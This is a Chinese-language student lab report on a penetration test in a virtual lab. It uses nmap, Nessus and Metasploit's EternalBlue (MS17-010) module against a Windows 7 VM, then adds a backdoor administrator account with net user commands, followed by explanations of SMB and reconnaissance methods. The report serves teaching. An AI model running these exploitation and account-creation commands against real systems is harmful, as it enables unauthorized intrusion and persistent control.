开放性实验——网络安全渗透测试
网络安全渗透测试实验报告
一、 实验环境
操作机:虚拟机kali linux
目标主机:虚拟机win 7:(192.168.1.116)
Kali Linux和win7 均采用桥接模式
二、 实验工具
- Kali Linux上的metasploit
- 扫描器nessus
- Nmap
三、 攻击目标
利用ms17-010漏洞查看目的主机的用户并添加一个用户为管理员。
四、 实验流程
a) 信息收集
i. Nmap扫描目的主机端口:
命令:nmap -sS -Pn -A 192.168.1.116
可以看到开放的端口有:80、135、139、443、445、3306、49152、49153、49154、49155、49156、49157
ii. Nessus扫描主机漏洞
注意到MS17-010漏洞,即著名的“永恒之蓝”
于是决定针对该漏洞进行渗透。
探测445端口是否运行smb服务
命令:use auxiliary/scanner/smb/smb_version
探测结果:目标主机 445端口运行 SMB 服务
b) 漏洞挖掘
在metasploit上查找ms17-010的攻击载荷模块。
选择exploit/windows/smb/ms17_010_eternalblue模块
命令:use exploit/windows/smb/ms17_010_eternalblue
可以看到监听(kali)IP(192.168.1.113)及端口(4444),被攻击主机(192.168.1.116)及端口(49185)之间已经建立了连接
随后我们进入目的主机shell。
c) 渗透实施利用
查看用户:net user
添加一个用户hacker,密码为123456:net user hacker 123456 /add
将hacker添加为管理员:net localgroup administrators hacker /add
在目的主机查看,发现hacker已成为管理员
d) 结果与总结
1.何为永恒之蓝?
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
2.什么是SMB协议?
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
3.SMB工作原理是什么?
(1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。
(2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。
(3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。
(4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
4.在本次实验中我通过nmap扫描目标主机的IP地址找到其开放端口,然后在利用nessus来扫描主机存在的漏洞,再利用metasploit针对扫描到的漏洞进行攻击,最终成功在目标主机添加了一个非法用户并拥有管理员权限。
5.渗透的过程分为信息收集、漏洞挖掘、渗透实施和完成测试报告几步。在本实验中,由于已经知道了目的主机的IP地址,所以省去了很多的对靶机信息收集的步骤,一般来说对一个网站进行渗透,需要先划分渗透范围,因为一个网站往往并非所有业务都由自己负责,而是通过第三方提供服务,比如邮件服务器和DNS服务器等,所以需要明确哪些是真正的目的服务器和主机。
我们往往先从网站域名入手,可以通过whois查询网站的相关信息,如服务器提供者等;在通过比如Netcraft和站长之家的whois查询功能了解网站ip等信息;
也可以通过在kali linux 命令行输入nslookup获取关于服务器的附加信息,如邮件服务器等;再者可以通过Google的site关键词查询该网站的信息,如子域名和可能存在的漏洞。通过这些步骤我们就可以了解具体的攻击范围。接下来就可以利用nmap来查询目的主机的开放端口和端口上运行的服务,针对一些特殊的,出现过严重漏洞的端口,如445等可以重点关注,然后再利用扫描工具nessus对目的主机进行扫描。根据扫描工具的反馈,可以针对性的利用metasploit模块进行探测和攻击。
渗透的关键在于信息收集,信息收集的作用不仅在于划定攻击范围,也在于帮助测试者更好的了解目的网站的架构,发现潜在的漏洞,同时善于利用工具可以是渗透工作事半功倍。
感谢阅读!